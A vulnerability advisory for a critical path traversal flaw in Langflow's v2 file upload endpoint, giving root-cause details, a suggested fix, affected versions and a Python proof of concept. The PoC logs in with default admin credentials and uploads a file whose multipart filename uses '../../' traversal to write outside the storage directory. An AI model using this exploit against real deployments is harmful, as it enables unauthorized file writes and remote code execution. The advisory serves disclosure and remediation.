Langflow has an Arbitrary File Write (RCE) via v2 APIGHSA-g2j9-7rj2-gm6c
CRITICALGHSA-g2j9-7rj2-gm6c is a critical-severity (CVSS 9.9) Path Traversal vulnerability in langflow. EPSS puts its 30-day exploitation probability at 13.5% (96th percentile). A fix is available for langflow — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-g2j9-7rj2-gm6c.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
langflowReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.
This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).
Details
The vulnerability exists in two layers:
- API Layer (
src/backend/base/langflow/api/v2/files.py:162): Inside theupload_user_fileroute, thefilenameis extracted directly from the multipartContent-Dispositionheader (new_filename = file.filename). It is passed verbatim to the storage service.ValidatedFileNameprovides zero protection here as it only guards URL path parameters. - Storage Layer (
src/backend/base/langflow/services/storage/local.py:114-116): TheLocalStorageServiceuses naive path concatenation (file_path = folder_path / file_name). It lacks aresolve().is_relative_to(base_dir)containment check.
Recommended Fix:
- Sanitize the multipart filename before processing:
from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
raise HTTPException(status_code=400, detail="Invalid file name")
- Add a canonical path containment check inside
LocalStorageService.save_fileto permanently kill this vulnerability class.
PoC
This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.
import requests
BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]
# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"
resp = requests.post(
f"{BASE_URL}/api/v2/files/",
headers={"Authorization": f"Bearer {token}"},
files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)
print(f"Status: {resp.status_code}") # Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`
Server Logs:
2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
Docker cntainer file:
user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txt
Impact
Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | langflow | ≥ 1.2.0&&< 1.9.0 | 1.9.0pip install --upgrade 'langflow==1.9.0' |
Affected Products
langflowlangflowDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update langflow to 1.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g2j9-7rj2-gm6c is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is GHSA-g2j9-7rj2-gm6c in your dependencies?
Find it across PyPI, including transitive dependencies.